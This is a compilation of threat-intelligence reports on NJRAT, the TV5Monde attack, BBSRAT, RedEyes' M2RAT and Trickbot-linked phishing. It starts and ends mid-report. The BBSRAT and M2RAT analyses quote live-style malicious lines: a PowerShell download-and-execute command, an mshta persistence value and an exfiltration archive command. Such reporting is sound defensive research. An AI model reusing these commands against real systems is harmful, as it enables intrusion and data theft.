NJRAT/AsyncRAT is the Remote Access Trojan that gets dropped to the endpoint. While this RAT family has been used by many different actors over the years, it was predominantly used to compromise high-value targets in the Middle East. While these groups have used the RAT, it does not mean that these groups are behind this specific campaign. The following groups have been known to use NJRAT: - G0078 Gorgon Group - G0043 Group5 - G0096 APT41 ## Conclusion Attackers are constantly testing out newer methods to get their payloads to the endpoint. Menlo Labs has noticed an increase in bad actors using HTML Smuggling for their initial access. This technique is gaining popularity because attackers can get their payloads to the endpoint while bypassing all network inspection and analysis tools. Also, since the payload is constructed directly on the browser, there is a gap in logging and visibility for SIEM and EDR tools. Menlo Labs strongly believes that knowing and understanding the initial access methods is critical to a strong prevention, detection, and response strategy, and we are determined to plug that gaping hole.
# Tech Report: Targeted Attack on France’s TV5Monde ## Introduction Increasingly, cyberattacks targeting various industrial sectors are directed towards prominent institutions. In a recent incident reported on April 8, 2015, TV5 Monde, one of France’s largest global television networks, was attacked by hackers, resulting in the disruption of eleven TV5 Monde’s channels. According to TV5 Monde, a hacker group claiming to be linked to the Islamic State Group executed the attack. This report analyzes the malwares used in the targeted attack against TV5 Monde in France. ## Attack Outline At 10 pm on April 8, 2015, TV5 Monde fell victim to a cyberattack by the Islamic fundamentalist hacker group, “Cyber Caliphate,” which claims to be linked to the Islamic State of Iraq and Syria (ISIS). Back in January 2015, this group hacked into the official Twitter account of the United States Central Command. In this incident, 11 programme broadcasts of TV5 Monde channels were disrupted for 3 hours as the hacker group breached the Network’s internal systems and overridden the digital broadcast system. The hacker group also took control of the Network’s administrative systems, making emails inaccessible. The Network’s social media accounts and website were not spared. The Network’s Facebook account was hacked and made to display images of ISIS. Complete details on the attack are still uncertain, but the Network’s soft approach to security was exposed on live television. A live interview with a reporter the day after the attack displayed usernames and passwords written on post-it notes. One of the post-it notes revealed the network's passwords for YouTube. Twitter user “pent0thal” confirmed that the password was "lemotdepassedeyoutube," which translates in English to "the password of YouTube." TV5 Monde’s negligent approach to security, like writing account information on notepads pasted on walls, may have contributed to the hacking incident. On April 9, 2015, Blue Coat, a security vendor, released a press statement on the TV5 Monde attack. According to this statement, the malware used in the TV5 Monde attack is a variant of Njworm that is popular in the Middle East. ## Findings #1: Njrat and Njworm, Based in the Middle East A Kuwaiti, known by the alias “njq8,” created NjRAT and Njworm. A simple search on the web shows that there are numerous online video tutorials in the Arabic language sharing knowledge on executing and exploiting with njRAT and Njworm. This level of knowledge sharing and support is making the backdoor malware popular among attackers in the Middle East. Many variants of this malware have been found ever since the source code was disclosed in May 2013. A C# source code generator was even uploaded on an Arabic developer’s site on December 8, 2014. With the increase in threats involving this malware, Microsoft Malware Protection Center (MMPC) took down the NjRAT and Njworm malware families in June 2014. These malware families are believed to have been created by Kuwaiti, Naser Al Mutairi, aka njq8, and Algerian, Mohamed Benabdellah, aka Houdini. There are also VB source code generators. The VBS codes are slightly different as compared to the C# source code generator, but it performs the same action – stealing personal information and acting as a backdoor. When the VB source code generator runs, the attacker must enter the port number and specify the host address, name, directory, and installation name. The output files created could be slightly different. ## Findings #2: Source Code Generator and Generation Process Let’s take a look at how some source code generators work. 1. **Source Code Generator 1** When you execute the generator, a window to set the port will appear. Then, a message stating the port is successfully connected will appear. If you right-click on the white bar on the message above, a window will appear to send commands. The command types are divided into w0rm, Computer, Run, and Options, and you can send various commands based on the command type. 2. **Source Code Generator 2** When you open the generator, a window to enter the port number and a window to specify a few settings will appear. The command type is simpler. The options are only Run File, VBS Code, and Uninstall Worm. You can specify the host, port, name, and install name. The Spread File Name and directory have been modified. The biggest difference between the two source code generators is the process to verify whether the environment is a virtual environment or physical environment. Source Code Generator 1 does not include a function to verify the environment. On the other hand, Source Code Generator 2 offers a vmcheck() function at the beginning of the exploit codes, where if it is verified that the environment is virtual, the exploit code jumps to a process that immediately deletes the VBS file and terminates. ## Findings #3: VB Script Backdoor The malware used in the TV5 Monde attack is a VBS (Visual Basic Script) malware created with one of these source code generators. It steals personal information and allows remote control, and performs the following actions: 1. Create files - C:\Documents and Settings\Administrator\Start Menu\Programs\Startup\SecurityNajaf.vbs - C:\Documents and Settings\Administrator\LocalSettings\Temp\(Original).vbs 2. Enable auto-run via Registry - HKCU\Software\Microsoft\Windows\CurrentVersion\Run\SecurityNajaf "wscript.exe //B "SecurityNajaf.vbs"" - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SecurityNajaff "wscript.exe //B "SecurityNajaf.vbs"" 3. Communicate with C&C server The scripts are divided into initialization codes and backdoor codes. The initialization codes contain install name, IP, and port details. The backdoor codes define the action of the commands sent to the C&C server. This malware not only acts as a backdoor but also steals user information that includes user name, computer name, volume serial number, and Windows version. The originating address of the detected malware was the malware itself, so it is determined and highly possible that it was created for testing. ## Conclusion AhnLab has investigated the malware that seized control of France’s TV5 Monde and disrupted the broadcast of 11 TV5 Monde’s channels. Television networks are the perfect targets for cyber-attacks intended for political reasons, and it has been proven possible for attackers to take control of the television broadcast. Television broadcast companies have an immediate need to reinforce security and take targeted attacks seriously. Malware that is widely used in specific countries or regions could be executed as political attacks, so it is also important to be up-to-date about these malware.
# BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger In late 2014, ESET presented an attack campaign that had been observed over a period of time targeting Russia and other Russian-speaking nations, dubbed “Roaming Tiger.” The attack was found to heavily rely on RTF exploits and was thought to make use of the PlugX malware family. ESET did not attribute the attacks to a particular attack group but noted that the objective of the campaign was espionage and general information stealing. Based on data collected from Palo Alto Networks AutoFocus threat intelligence, we discovered continued operations of activity very similar to the Roaming Tiger attack campaign that began in the August 2015 timeframe, with a concentration of attacks in late October and continuing into December. The adversaries behind these attacks continued to target Russia and other Russian-speaking nations using similar exploits and attack vectors. However, while the malware used in these new attacks employs similar infection mechanisms to PlugX, it is a completely new tool with its own specific behavior patterns and architecture. We have named this tool “BBSRAT.” As described in earlier reports on “Roaming Tiger,” the attack observed in August 2015 used weaponized exploit documents that leave Russian language decoy document files after infecting the system. The files exploit the well-known Microsoft Office vulnerability, CVE-2012-0158, to execute malicious code in order to take control of the targeted systems. In one case, the adversary impersonated an individual from the organization Vigstar, a Russian-based research organization in charge of the development of satellite communications and special-purpose wireless devices for the Russian Federation’s defense and security agencies. The targeted email address appeared to be a Gmail account associated with Vigstar and was found on a job board website for a job opening at Vigstar. The rough translation of the body of the email is as follows: "I send you a list of international exhibitions of military, civil and dual-purpose, conducted in 2015 on the territory of the Russian Federation and foreign states. Waiting for your reply!" Figure 2 confirms that the decoy document that opens after the malware infects the system is indeed a list of international exhibitions that were conducted on Russian territory in 2015. In more recent months, we have identified several other potential Russian victims using AutoFocus. Analysis of the command and control (C2) infrastructure shows that the newly discovered samples of BBSRAT used the same C2 domains as previously published in the “Roaming Tiger” campaign, including transactiona[.]com and futuresgold[.]com. Interestingly, all of the previously published C2 domains have significant overlap among the hashes and IPs, while C2s for BBSRAT contain no overlap at all. This may indicate that for the newer attack campaign using BBSRAT, the adversary may have deployed purpose-built variants and/or infrastructure for each of the intended targets. BBSRAT is typically packaged within a portable executable file, although in a few of the observed instances, a raw DLL was discovered to contain BBSRAT. When the dropper first runs, it will generate a path in the %TEMP% directory. The generated filename is 10-16 uppercase alphabetic characters and ends with a ‘.TMP’ file extension. The dropper will continue to write an embedded cab file in this location. The malware will proceed to create one of the following directories depending on what version of Microsoft Windows is running on the target machine: - %ALLUSERSPROFILE%\SSONSVR - %ALLUSERSPROFILE%\Application Data\SSONSVR Using the built-in expand.exe utility provided by Microsoft Windows, the dropper executes the following command, which will expand the CAB file and write the results to the provided directory: ``` expand.exe “%TEMP%\[temp_file]” Destination “[chosen_path]\SSONSVR” ``` This results in the following three files being written to the SSONSVR directory: - aclmain.sdb - pnipcn.dll - ssonsvr.exe The ‘ssonsvr.exe’ file is a legitimate Citrix executable that will be used to sideload the malicious ‘pnipcn.dll’ file. The ‘aclmain.sdb’ file contains code that will eventually be loaded by the ‘pnipcn.dll’ file. The malware finally executes ‘ssonsvr.exe’ via a call to ShellExecuteW. When ‘ssonsvr.exe’ is executed, and the pnipcn.dll file is loaded, it will begin by identifying the path to msiexec.exe, by expanding the following environment string: ``` %SystemRoot%\System32\msiexec.exe ``` It will then spawn a suspended instance of msiexec.exe in a new process. The malware proceeds to load code from the ‘aclmain.sdb’ file and performs process hollowing against this instance of msiexec.exe prior to resuming the process. In order to ensure persistence, the following registry key is written on the victim’s machine: ``` HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ssonsvr.exe : [path_to_ssonsvr.exe] ``` In the most recently observed sample of BBSRAT found in AutoFocus, the Trojan was deployed via a downloader that used the Invoke-ReflectivePEInjection.ps1 script from the PowerSploit framework. When the downloader executes, it will first decrypt the following two strings using a 5-byte XOR key of “\x01\x02\x03\x04\x05”: ``` “powershell -exec bypass -c IEX (New-Object Net.WebClient).DownloadString(‘http://testzake[.]com/IR.ps1′);Invoke-ReflectivePEInjection -PEUrl http://testzake[.]com/s.exe” “C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell -exec bypass -c IEX (New-Object Net.WebClient).DownloadString(‘http://testzake[.]com/IR.ps1′);Invoke-ReflectivePEInjection -PEUrl http://testzake[.]com/s.exe” ``` These strings are then sequentially executed via calls to WinExec. The commands in question will download an executable file and run it within the context of the PowerShell process. When the above commands are executed, the downloader will initially download the ‘IR.ps1’ PowerShell script from the specified URL. This PowerShell script appears to have been pulled directly from the PowerSploit framework, with no modifications made. The malware then invokes this script with a URL that points to an additional executable file. This downloaded executable contains a copy of the BBSRAT malware family. The downloader proceeds to drop either a 32-bit or 64-bit DLL file that will execute the two previously stated PowerShell commands when the DLL is loaded. This DLL is dropped to one of the following locations: - %SYSTEMROOT%\web\srvcl32.dll - %APPDATA%\web\srvcl32.dll Additionally, the following registry keys are set depending on the system’s CPU architecture: ``` HKU\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InprocServer32\ThreadingModel – “Both” HKU\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InprocServer32\Default – [path_to_srvcl32.dll] HKLM\SOFTWARE\Classes\CLSID\{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}\InprocServer32\ThreadingModel – “Both” HKLM\SOFTWARE\Classes\CLSID\{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}\InprocServer32\Default – [path_to_srvcl32.dll] ``` The COM object for {42aedc87-2188-41fd-b9a3-0c966feabec1} is specific to ‘MruPidlList’, while the COM object for {F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1} is specific to ‘Microsoft WBEM New Event Subsystem’. This ensures that the DLL specified will load when Microsoft Windows starts. It is a technique that was used by the ZeroAccess rootkit when it initially surfaced. After being loaded using one of the two techniques discussed, BBSRAT malware begins execution by loading the following libraries at runtime: - ntdll.dll - kernel32.dll - user32.dll - advapi32.dll - gdi32.dll - ws2_32.dll - shell32.dll - psapi.dll - Secur32.dll - WtsApi32.dll - Netapi32.dll - Version.dll - Crypt32.dll - Wininet.dll The following mutex is then created to ensure a single instance of BBSRAT is running at a given time: ``` Global\GlobalAcProtectMutex ``` Throughout the execution of BBSRAT, it will dynamically load functions prior to calling them, as seen in the example below demonstrating BBSRAT making a call to the WSAStartup function. The malware proceeds to parse the stored embedded network configuration and spawns a series of threads responsible for network communication. This includes a series of HTTP or HTTPS requests, such as the following: ``` GET /bbs/1/forum.php?sid=1 HTTP/1.1 Cookie: A46A8AA9-D7D6-43FB-959DC96E Content-Length: User-Agent: Mozilla/4.0 (compatible; Windows NT 5.1) Connection: Keep-Alive Host: transactiona[.]com Cache-Control: no-cache Accept: */* Content-Type: ``` In the above example, the ‘1’ used both in the URI and the sid GET parameter is a global incremental counter. Every subsequent request made by BBSRAT increments this counter by one. Additionally, all variants of BBSRAT we have found use the same URL for command and control (C2) communication. When first executed, the malware will exfiltrate data about the victim’s machine via a POST request to the ‘/bbs/[counter]/forum.php?sid=[counter]’ URL. All network data sent via POST requests uses a custom binary structure, as defined as follows: ``` struct network_header { DWORD random; DWORD hardcoded0; DWORD hardcoded1; DWORD command; DWORD length_of_compressed_data; DWORD length_of_decompressed_data; DWORD unknown2; BYTE compressed_data[]; }; ``` The compressed_data field is compressed using the common ZLIB compression algorithm. Additionally, in the event data is being sent via HTTP rather than HTTPS, the following additional encryption algorithm is applied to the POST data: ``` def decrypt(data): out = [] for x in data: t = (ord(x) - 23) t1 = (t ^ 62) t2 = (t1 + 23) & 0xFF out.append(chr(t2)) return out ``` The following data structure holds the victim’s information that is uploaded by BBSRAT: ``` struct victim_information { DWORD static_value; DWORD major_version; DWORD minor_version; DWORD build_number; DWORD platform_id; DWORD default_locale; DWORD unknown2; DWORD local_ip_address; DWORD running_as_64_bit; DWORD random; DWORD unknown3; DWORD struct_length; DWORD struct_with_not_used_length; DWORD struct_with_username_length; DWORD struct_with_group_length; DWORD unknown4; DWORD struct_with_hostname_length; WCHAR not_used[]; WCHAR username[]; WCHAR group[]; WCHAR hostname[]; }; ``` BBSRAT accepts many possible commands that the C2 server can provide. These commands are sent as a response to the GET beacons that are continually requested via either HTTP or HTTPS. The following commands and sub-commands have been identified: | Command | Sub-command | Description | |--------------|-------------|--------------------------------------| | 0x110010 | N/A | Beacon | | 0x110011 | N/A | Uninstall/Kill Malware | | 0x110020 | N/A | Upload Victim Information | | 0x110064 | 0x2 | Execute Command and Return Response | | 0x110064 | 0x4 | Unknown | | 0x110064 | 0x5 | Execute Shellcode | | 0x110066 | 0x7 | Query Service Configuration | | 0x110066 | 0x9 | Start Service | | 0x110066 | 0xa | Stop Service | | 0x110066 | 0xb | Delete Service | | 0x110066 | 0xc | Change Service Configuration | | 0x110063 | 0xd | Enumerate Running Processes | | 0x110063 | 0xf | Kill Process | | 0x110063 | 0x10 | Get Process Information | | 0x110063 | 0x12 | Free Library for Specified Process | | 0x110065 | 0x1b | Execute Command Quietly | | 0x110065 | 0x1e | Send Input to Console | | 0x110065 | 0x1f | Execute Shellcode | | 0x110061 | 0x20 | List Drive Information | | 0x110061 | 0x21 | List File Information For Given Directory | | 0x110061 | 0x23 | Write File | | 0x110061 | 0x24 | Read File | | 0x110061 | 0x25 | List File Information For Given Directory | | 0x110061 | 0x27 | Perform File Operation via SHFileOperation() | | 0x110061 | 0x28 | Delete File | | 0x110061 | 0x29 | Create Directory | | 0x110061 | 0x2a | Shell Execute | As in many of the previous articles regarding espionage-motivated adversaries and possible nation-state campaigns, what is being observed in this attack campaign is a continued operation and evolution by the adversary even after its tactics, techniques, and procedures (TTPs) have become public knowledge. Despite the fact that the information about these attackers has been public for over a year, including a listing of many of the command and control servers, they continue to reuse much of their exposed playbook. We urge organizations to use the data from Unit 42 and other threat intelligence sources to proactively secure themselves and prevent attacks. WildFire properly classifies BBSRAT malware samples as malicious. We have released DNS signatures to block access to the C2 domain names included in this report. AutoFocus users can explore these attacks using the BBSRAT malware family tag.
# HWP Malware Using the Steganography Technique: RedEyes (ScarCruft) By muhan February 21, 2023 In January, the ASEC (AhnLab Security Emergency response Center) analysis team discovered that the RedEyes threat group (also known as APT37, ScarCruft) had been distributing malware by exploiting the HWP EPS (Encapsulated PostScript) vulnerability (CVE-2017-8291). This report will share the RedEyes group’s latest activity in Korea. ## 1. Overview The RedEyes group is known for targeting specific individuals and not corporations, stealing not only personal PC information but also the mobile phone data of their targets. A distinct characteristic of the latest RedEyes group attack is the fact that they exploited the HWP EPS vulnerability using the steganography technique to distribute their malware. The HWP EPS vulnerability used in the attacks is an old vulnerability that has already been patched in the latest version of the Hangul Word Processor. We assume that the threat actor initiated their attacks after checking in advance if their targets (individuals) were using an older version of HWP that supports EPS. Furthermore, there is a confirmed past case where the RedEyes group used the steganography technique to distribute malware. In 2019, Kaspersky shared a report saying that the ScarCruft (RedEyes) group’s downloader used the steganography technique to download additional malware. The usage of the steganography technique to download malware and the RUN key command for autorun registration to establish a consistent connection with the C&C server being similar to the format used by the RedEye group in the past are the reasons why we believe they had done this attack. The RedEyes group is also known for using Powershell and the Chinotto malware to steal PC information and remote control systems. However, a new malware strain was found in the latest attack which, unlike Chinotto, uses the shared memory section to carry out C&C commands. Regarding the newly identified malware, the ASEC analysis team named it M2RAT (Map2RAT) after the name found in the shared memory section. This report covers the TTPs (Tactics, Techniques, and Procedures) of the RedEyes group’s initial access, defense evasion, persistence, and the newly identified M2RAT’s latest command control and exfiltration. ## 2. Analysis ### 2.1. Initial Access On January 13, an HWP EPS vulnerability (CVE-2017-8291) attack involving the usage of the filename “Form.hwp” was discovered by AhnLab’s ASD (AhnLab Smart Defense). The HWP document was not collected at the time of the analysis, but we were able to procure the EPS file that triggered the aforementioned vulnerability. EPS is a type of graphic format that uses the PostScript programming language by Adobe to show graphics. High-resolution vector images can be shown through EPS and the Hangul Word Processor supported a third-party module (ghostscript) to process EPS files. However, due to an increase in malicious EPS vulnerability exploitations, such as APT attacks, Hancom has removed the third-party EPS processing module. Additionally, the ASEC analysis team posted a detailed analysis report on the CVE-2017-8291 vulnerability back in 2019. The “Form.hwp” file includes a vulnerable EPS file (CVE-2017-8291). When the user opens the file (“Form.hwp”), the vulnerability allows the threat actor’s shellcode to run through the third-party module. The shellcode downloads an image file (JPEG) from the threat actor’s server (C&C) and decrypts the encoded PE file contained within the image file. Afterward, it creates the PE file in the %temp% path before executing it. ### 2.2. Defense Evasion The shellcode downloaded an image file from the threat actor’s server and executed an additional piece of malware. In other words, the threat actor used the steganography technique to embed a malware strain within an image. We assume that this was done to evade network detection. It appears that the steganography image file used by the threat actor was obtained from a wallpaper-sharing website called “wallup.net”. The image file consists of a normal JPEG header, the meta data required for decoding the PE file (XOR key and file size), and the encoded PE file. A 16-byte XOR key is used for PE decoding to XOR 1 byte at a time. The ultimately decoded PE file is created and executed under the name lskdjfel.exe in the %temp% path. The executed PE file is responsible for downloading an additional backdoor malware (M2RAT), injecting it into explorer.exe, and adding both Powershell and mshta commands to the autorun registry Run key to establish a persistent connection with the threat actor’s server. ### 2.3. Persistence The executed lskdjfel.exe file registers the following command to the registry Run key to establish a persistent connection with the threat actor’s server. - Registry key path: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run - Value name: RyPO - Value: c:\windows\system32\cmd.exe /c PowerShell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass ping -n 1 -w 340328 2.2.2.2 || mshta hxxps://www.*****elearning.or[.]kr/popup/handle/1.html Whenever the affected host PC is booted up, the registry key causes Powershell and the normal Windows utility, mshta, to also be executed. At the time of analysis, an HTA (HTML Application) file containing a JS (JavaScript) code was collected from the “1.html” file that mshta had downloaded from the threat actor’s server. The JS code is responsible for executing the Powershell command, which receives and executes commands from the threat actor’s server, and returns the results. When the Powershell adds a “U” parameter to the threat actor’s server address when transmitting the computer name and username, the threat actor’s server encodes the CMD command that is going to be executed in BASE64 before sending it to the affected host. The encoded BASE64 command is then decoded by Powershell and executed. The result of the command is saved as a file in the %temp%\vnGhazwFiPgQ path. Afterward, an “R” parameter is added to the threat actor’s server which then encodes the command execution result in BASE64 before sending it. ### 2.4. M2RAT (Map2RAT) The ultimately executed backdoor operates after being injected into explorer.exe. The main features of this backdoor are similar to those of basic remote control malware, which include keylogging, data leakage (files and recordings), running or terminating processes, and capturing screenshots. However, the recently discovered backdoor has a different command system compared to the previously identified Chinotto malware. It does not save the keylogging data or screenshot logs in the affected system but instead sends them to the threat actor’s server, leaving no traces of the stolen data in the affected system. The ASEC analysis team named this newly identified malware M2RAT (Map2RAT) after the common name within the shared memory section used during C&C communication. #### 2.4.1. Command and Control of M2RAT M2RAT’s C&C communications command system involves receiving commands from the threat actor’s server through the POST method’s Body. The meaning of these commands can be found in the below table. | C&C Command | Description | |-------------|-------------| | OKR | Command received upon initial connection with C&C communications | | URL | Edits the registry key value to update the C&C | | UPD | Updates the currently connected C&C | | RES | Ends C&C connection (End M2RAT) | | UNI | Ends C&C connection (End M2RAT) | | CMD | Performs remote control commands (Keylogging and process creation/execution) | M2RAT’s threat actor server manages hosts with MAC addresses in order to distinguish affected hosts. When infected with M2RAT, the MAC address is encoded (XOR) with 0x5c and saved in the “HKCU\Software\OneDriver” path’s “Version” value. The encoded MAC address value is used to distinguish affected hosts in the threat actor’s server. - Registry key path: HKCU\Software\OneDriver - Value name: Version - Value: Value that XOR-encoded (0x5c) MAC address of the affected host The result value of the command sent by the threat actor to the affected host is saved in the “_Encoded MAC Address Value_2” folder of the threat actor’s server. The screenshots taken by M2RAT from the affected host are saved in the “_Encoded MAC Address Value_cap” folder. Additionally, M2RAT XOR encodes with 0x5c and saves the threat actor’s server address info in the “Property” value of the same registry key path as the MAC address. - Registry key path: HKCU\Software\OneDriver - Value name: Property - Value: Value that XOR-encoded (0x5c) threat actor’s server address In the future, the threat actor can transmit the “URL” and “UPD” commands to M2RAT to update their server address. The “URL” command is used to update the registry key with a new address and the “UPD” command is used to change the threat actor’s address defined in the currently running instance of M2RAT. The remote control command of M2RAT is established by transmitting CMD commands from the threat actor’s server. The Chinotto malware, which was confirmed to have been used by the RedEyes group in the past, executed remote control commands through the Query String method, but M2RAT creates a shared memory section to execute the commands from the threat actor’s server. Like the threat actor’s use of the steganography technique in the initial breach stage, this appears to also be for the purpose of evading network detection by hiding the command info in the Body of the POST. The CMD command is transmitted through the shared memory. The memory section name info is shown below. | Section Name | Feature | |-----------------------------------|---------| | RegistryModuleInputMap2 | Transmits additional module execution results (e.g. Mobile phone data leak module) | | FileInputMap2 | Explores drives (A:\ – Z:\), create/write files, and changes file time | | CaptureInputMap2 | Screenshots the current screen of the affected host’s PC | | ProcessInputMap2 | Checks the process list, create/terminate processes | | RawInputMap2 | Use ShellExectueExW API to run process | | TypingRecordInputMap2 | Leaks keylogging data | | UsbCheckingInputMap2 | USB data leak (hwp, doc, docx, xls, xlsx, ppt, pptx, cell, csv, show, hsdt, mp3, amr, 3gp, m4a, txt, png, jpg, jpeg, gif, pdf, eml) | #### 2.4.2. Exfiltration M2RAT’s exfiltration features include screenshots of the affected host’s screen, process information, keylogging information, and data (documents and voice files) leaks. In the case of screenshots, they are taken regularly even if a command is not given by the threat actor. They are then sent to the threat actor’s server where they are saved as “result_[number]” in the “_Encoded MAC Address Value_cap” folder. The remaining data leaks are saved in the “_Encoded MAC Address Value_2” folder. If there are documents or voice recordings with sensitive data in removable storage devices or shared folders, then these are copied into the %TEMP% path, compressed into a password-protected file with Winrar (RAR.exe), and the results are then transmitted to the threat actor’s server. - Folder path where data is copied to: %Temp%\Y_%m_%d_%H_%M_%S // (e.g. %TEMP%\Year_Month_Date_Hour_Minute_Second) - File extensions: hwp, doc, docx, xls, xlsx, ppt, pptx, cell, csv, show, hsdt, mp3, amr, 3gp, m4a, txt, png, jpg, jpeg, gif, pdf, eml The RAR.exe options that are used are as follows. The path the compressed file is created into is the same as the %TEMP% folder path. - a -df -r -hp dgefiue389d@39r#1Ud -m1 “Compressed file creation path” “Compression target path” | Option Name | Description | |-------------|-------------| | a | Compress | | df | Delete file after compression | | r | Recover compressed file | | hp | Encrypt file data and header | | m | Set compression level | The ASEC analysis team was also able to uncover through the ASD (AhnLab Smart Defense) infrastructure an Infostealer communicating with M2RAT. This malware was identified as a .NET file that steals files saved on mobile phones and sends them to the RegistryModuleResultMap2 shared memory section of M2RAT. ## 3. Conclusion The RedEyes group is an APT hacking organization that is supported on a national level. They are known to attack individual targets such as human rights activists, reporters, and North Korean defectors. Their aim appears to be exfiltration. Defending against such APT attacks is an extremely complicated process. Especially since the RedEyes group is known to target individuals instead of corporations. It is difficult for individuals to even realize they have been affected. The ASEC analysis team is closely tracking this group. Should new TTPs be found from this threat actor, we will quickly share the details as we did in this blog post to contribute towards minimizing damage. ## 4. IOC - 8b666fc04af6de45c804d973583c76e0 // EPS file – Exploit/EPS.Generic (2023.01.16.03) - 93c66ee424daf4c5590e21182592672e // Steganography JPEG – Data/BIN.Agent (2023.02.15.00) - 7bab405fbc6af65680443ae95c30595d // PE file(JPEG) Stage PE file – Trojan/Win.Loader.C5359534 (2023.01.16.03) - 9083c1ff01ad8fabbcd8af1b63b77e66 // Powershell script – Downloader/PS.Generic.SC185661 (2023.01.16.03) - 4488c709970833b5043c0b0ea2ec9fa9 // M2RAT – Trojan/Win.M2RAT.C5357519 (2023.01.14.01) - 7f5a72be826ea2fe5f11a16da0178e54 // Mobile phone data theft – Infostealer/Win.Phone.C5381667 (2023.02.14.03) ## 5. References Categories: Malware Information Tagged as: APT37, M2RAT, Map2RAT, RedEyes, ScarCruft
# Phishing Campaign Threatens Job Security, Drops Bazar and Buer Malware November 10, 2020 by Area 1 Security “You’re fired…..NOT!” An ongoing and rapidly evolving spear phishing campaign is threatening targets with false claims of employment termination due to economic impacts from the global pandemic, among numerous other coercive tactics. The goal of the attacker is to intimidate employees into clicking on a link that will ultimately lead to Bazar or Buer malware infections by way of Trickbot. ## Disruption Efforts Researchers at Zscaler ThreatLabZ reported on similar activity, noting this was the first time they have seen both Bazar and Buer malware strains used together. Additionally, they have associated the activity with the Trickbot gang, known to use a combination of different malware groups and bots to conduct attacks. While Trickbot started out as a banking trojan, known for hijacking victims’ browser sessions once logged into their banking website, it has since been repeatedly repurposed for other objectives, including the ability to spread ransomware. This particularly maniacal and disruptive aspect of Trickbot functionality made it a top contender for possible cybersecurity threats to the 2020 U.S. presidential election. With ransomware as an option, Trickbot posed a significant threat to U.S. election infrastructure. The malware’s operators had the ability to compromise a massive number of voting machines during critical times in vote counting, undermining trust in the result. They may have even been able to disrupt the voting process altogether by affecting entire voting locations, preventing large portions of the voter population from casting their ballots. This could explain the recent wave of Trickbot takedown efforts. A report from KrebsonSecurity provided details of an operation that likely began on September 22nd and is conjectured to be a government counter-strike against the actors behind Trickbot. This activity, first identified by Intel471 and possibly conducted by the U.S. Cyber Command, attempted to disrupt Trickbot infrastructure by forcing the botnet’s controllers to issue bogus configurations. These configurations swapped real controller IP addresses for the localhost address (127.0.0.1), preventing bots from calling home to receive commands. Not long after the phony configurations were sent, all known controllers appeared to have stopped properly responding to bot requests, suggesting the overall activity was a concerted, intentional effort to disrupt this pervasive botnet’s operations. Another attempt was made on October 1st, presumably by U.S. Cyber Command, that similarly altered the controller IP addresses needed to receive commands. Compounding the effects of this effort, Microsoft also attempted disruptions of Trickbot infrastructure by obtaining a court order to disable the botnet’s IP addresses, among other actions. Most recently, Microsoft issued an update that they successfully took down 62 of the 69 Trickbot servers around the world, with the remaining being unorthodox IoT devices. However, these attempts reportedly would only have a short-term effect on Trickbot controllers since its operators use decentralized infrastructure that communicates over Tor, with blockchain-based EmerDNS as a fallback that is resistant to takedowns. Additionally, Ars Technica reports that Trickbot controllers are beginning to host their malware on other e-criminals’ servers. ## Area 1 Security’s Findings on Trickbot Payloads Unsurprisingly, not long after the previously mentioned Trickbot takedown operations occurred, Area 1 Security identified a prolific phishing campaign that intended to spread Bazar and Buer payloads via Trickbot. Worse yet, this newer stealthy malware in Trickbot gang’s arsenal of tools can be used to deploy additional malware, including ransomware. Area 1 Security researchers found evidence that the BazarLoader dropped in this campaign will not continue with the infection if the locale of the victim’s device is in Russia, a common tactic seen with Trickbot. In fact, cybersecurity researchers believe Trickbot is the handiwork of cybercriminals operating out of Russia. Since at least 2019, this group has been responsible for a surge in ransomware attacks targeting school systems, local governments, and even law enforcement agencies in the United States. ## Potential for Election Interference While these e-criminal groups have always been operating at some level in recent years, their activity has surged in the lead-up to the 2020 U.S. Presidential election. This suggests that entities involved in the U.S. election are prime targets for foreign adversaries, both nation-state and cybercriminal groups alike. Lining up with the recent FBI/DNI press conference, Russian and Iranian state-sponsored groups are confirmed to have exfiltrated voter registration information. Additionally, these nations are behind separate email spoofing campaigns designed to undermine faith in the U.S. election. At the moment, it is unclear if the phishing campaign that Area 1 Security identified is being carried out by any of these groups or if it is purposefully targeting election administrators. Regardless, state and local election administrators should be extra vigilant as they tend to be highly vulnerable to phishing attacks, as highlighted in Area 1 Security’s recent “Phishing Election Administrators” report. ## Threatening Phishing Lures The recent phishing campaign that Area 1 Security discovered uses a number of lures that threaten job termination in order to intimidate employees into clicking on a provided URL. The phishing messages are very simple in their demand and appear to originate from persons of authority within the targeted company. The messages identified in this campaign are based on eliciting fear from the target audience, focusing on either employment termination or customer complaints. The massive remote workforce transition, and the resultant decrease in face-to-face contact, gives attackers the advantage by making email delivery of these types of “employment notifications” all the more believable. Targets of this campaign could potentially believe that the post-COVID shake-up in their organizations is the reason they’re being let go. With many businesses closing down unusable office space, combined with an economic recession, there is enough plausibility for this wide-ranging phishing attack to fool employees into believing that their position may be part of the now all-too-common budget cuts. It’s possible this Bazar and Buer campaign is part of the Trickbot operations that Microsoft and other partners are trying to defeat. If so, the activity Area 1 Security observed only further proves just how difficult it can be to counteract these complex malware operations. With these Trickbot operations, threat actors have a litany of unique and ever-changing email accounts and IP addresses to execute their attacks. Despite the previously mentioned efforts to neutralize Trickbot controllers, the infrastructure used to support this particular campaign (if associated in any way) was hardly affected, and the attacker seems to have promptly resumed operations. While disruption operations may have worked a decade ago, the Trickbot gang and other groups that rely on their Malware-as-a-Service (MaaS) offering are equipped with the necessary skills to continue their attacks without a hitch. Current botnets have all the professionalism of any IT company. They’re able to manage disruptions and bring back services with continuity planning, backups, automated deployment, and a dedicated workforce. The campaign noted above centered on termination-related documents available at a provided URL. When clicked, the link directs the victim’s browser to either Google Docs or Constant Contact. By not attaching the malware as a file to the email, the attacker is able to bypass file scanning detections. Moreover, attackers commonly use cloud-based hosting services to circumvent URL scanning techniques and to easily create new malicious links in the event that their URLs are identified as phishing pages. The Google Docs or Constant Contact link in the phishing email leads to a decoy preview page that prompts the victim to open a list of terminated employees. The decoy also cleverly displays the often-seen “If download does not start, click here.” This link is where the malware is actually being hosted. ## Analysis of Bazar and 